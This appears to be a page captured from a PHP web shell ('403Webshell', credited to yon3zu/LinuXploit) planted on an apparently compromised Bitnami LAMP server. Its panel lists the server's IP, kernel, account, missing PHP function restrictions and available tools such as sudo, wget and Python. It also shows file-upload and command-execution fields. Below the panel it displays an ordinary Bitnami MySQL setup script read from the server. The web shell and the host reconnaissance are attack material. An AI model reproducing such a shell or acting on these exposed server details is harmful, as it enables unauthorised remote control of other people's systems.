403Webshell
Server IP : 34.87.99.72  /  Your IP : 216.73.217.31
Web Server : Apache/2.4.46 (Unix) OpenSSL/1.1.1n
System : Linux zlock-bitnami-lamp-prod-v2-vm 4.19.0-16-cloud-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
User : bitnami ( 1000)
PHP Version : 7.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/bitnami/stack/scripts/mysql/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/bitnami/stack/scripts/mysql/postunpack.sh
#!/bin/bash

# shellcheck disable=SC1091

set -o errexit
set -o nounset
set -o pipefail
# set -o xtrace # Uncomment this line for debugging purposes

# Load libraries
. /opt/bitnami/scripts/libfs.sh
. /opt/bitnami/scripts/libmysql.sh

# Load MySQL environment variables
. /opt/bitnami/scripts/mysql-env.sh

# Configure MySQL options based on build-time defaults
info "Configuring default MySQL options"
ensure_dir_exists "$DB_CONF_DIR"
mysql_create_default_config

for dir in "$DB_TMP_DIR" "$DB_LOGS_DIR" "$DB_CONF_DIR" "${DB_CONF_DIR}/bitnami" "$DB_VOLUME_DIR" "$DB_DATA_DIR" "/.mysqlsh"; do
    ensure_dir_exists "$dir"
    chmod -R g+rwX "$dir"
done

# Load additional required libraries
# shellcheck disable=SC1091
. /opt/bitnami/scripts/libos.sh
. /opt/bitnami/scripts/libservice.sh
. /opt/bitnami/scripts/libversion.sh

# Create 'data' directory symlink for compatibility purposes with previous VMs
ln -sf "$DB_DATA_DIR" "${DB_BASE_DIR}/data"

info "Creating MySQL daemon user"
ensure_user_exists "$DB_DAEMON_USER" --group "$DB_DAEMON_GROUP"

# Configure ownership of directories that need write permissions
configure_permissions_ownership "$DB_DATA_DIR" -u "$DB_DAEMON_USER" -g "$DB_DAEMON_GROUP" -d "775" -f "664"

# Enable extra service management configuration
generate_monit_conf "mysql" "$DB_PID_FILE" /opt/bitnami/scripts/mysql/start.sh /opt/bitnami/scripts/mysql/stop.sh
# 'su' option used to avoid: "error: skipping (...) because parent directory has insecure permissions (It's world writable or writable by group which is not "root")"
generate_logrotate_conf "mysql" "${DB_LOGS_DIR}/*log" --extra "su ${DB_DAEMON_USER} ${DB_DAEMON_GROUP}"

# Create configuration files for setting MySQL optimization parameters that will depend on the instance size
# Default to micro configuration until a resize is performed
major_version="$(get_sematic_version "$(mysql_get_version)" 1)"
ensure_dir_exists "${DB_CONF_DIR}/bitnami/memory"
ln -sf "memory/my-micro.conf" "${DB_CONF_DIR}/bitnami/memory.conf"
read -r -a supported_machine_sizes <<< "$(get_supported_machine_sizes)"
for machine_size in "${supported_machine_sizes[@]}"; do
    case "$machine_size" in
        micro)
            query_cache_size=8M
            innodb_buffer_pool_size=16M
            ;;
        small)
            query_cache_size=128M
            innodb_buffer_pool_size=256M
            ;;
        medium)
            query_cache_size=128M
            innodb_buffer_pool_size=256M
            ;;
        large)
            query_cache_size=256M
            innodb_buffer_pool_size=2024M
            ;;
        xlarge)
            query_cache_size=256M
            innodb_buffer_pool_size=2048M
            ;;
        2xlarge)
            query_cache_size=256M
            innodb_buffer_pool_size=4096M
            ;;
        *)
            error "Unknown machine size '${machine_size}'"
            exit 1
            ;;
    esac
    if [[ "$major_version" -ge "8" ]]; then
        # MySQL 8 adds support for a new 'innodb_dedicated_server' that automatically configures memory options
        # However, it also removes 'query_cache' parameters, so we will write a MySQL 8.0 compatible file by default
        cat >"${DB_CONF_DIR}/bitnami/memory/my-${machine_size}.conf" <<EOF
# Bitnami memory configuration for MySQL

[mysqld]
#wait_timeout = 120
long_query_time = 1
innodb_buffer_pool_size = ${innodb_buffer_pool_size}
#innodb_log_file_size = 128M
#innodb_flush_method = O_DIRECT_NO_FSYNC
#tmp_table_size = 64M
#max_connections = 2500
#max_user_connections = 2500
#key_buffer_size = 64M

# The innodb_dedicated_server option is appropriate when running MySQL on a dedicated server
# See: https://dev.mysql.com/doc/refman/8.0/en/innodb-dedicated-server.html
#innodb_dedicated_server = ON
EOF
    else
        cat >"${DB_CONF_DIR}/bitnami/memory/my-${machine_size}.conf" <<EOF
[mysqld]
#wait_timeout = 120
long_query_time = 1
query_cache_limit = 2M
query_cache_type = 1
query_cache_size = ${query_cache_size}
innodb_buffer_pool_size = ${innodb_buffer_pool_size}
#innodb_log_file_size = 128M
#innodb_flush_method = O_DIRECT
#tmp_table_size = 64M
#max_connections = 2500
#max_user_connections = 2500
#key_buffer_size = 64M
EOF
    fi
done

# Enable memory configuration by adding an '!include' directive in MySQL's main configuration file
conf_to_add='!'"include ${DB_CONF_DIR}/bitnami/memory.conf"
grep -q "$conf_to_add" "$DB_CONF_FILE" || cat >>"$DB_CONF_FILE" <<<"$conf_to_add"

# Allow the "bitnami" user to write to commonly used MySQL directories, for improved developer experience
if user_exists "bitnami"; then
    configure_permissions_ownership "$DB_CONF_FILE" -u "bitnami"
fi

Youez - 2016 - github.com/yon3zu
LinuXploit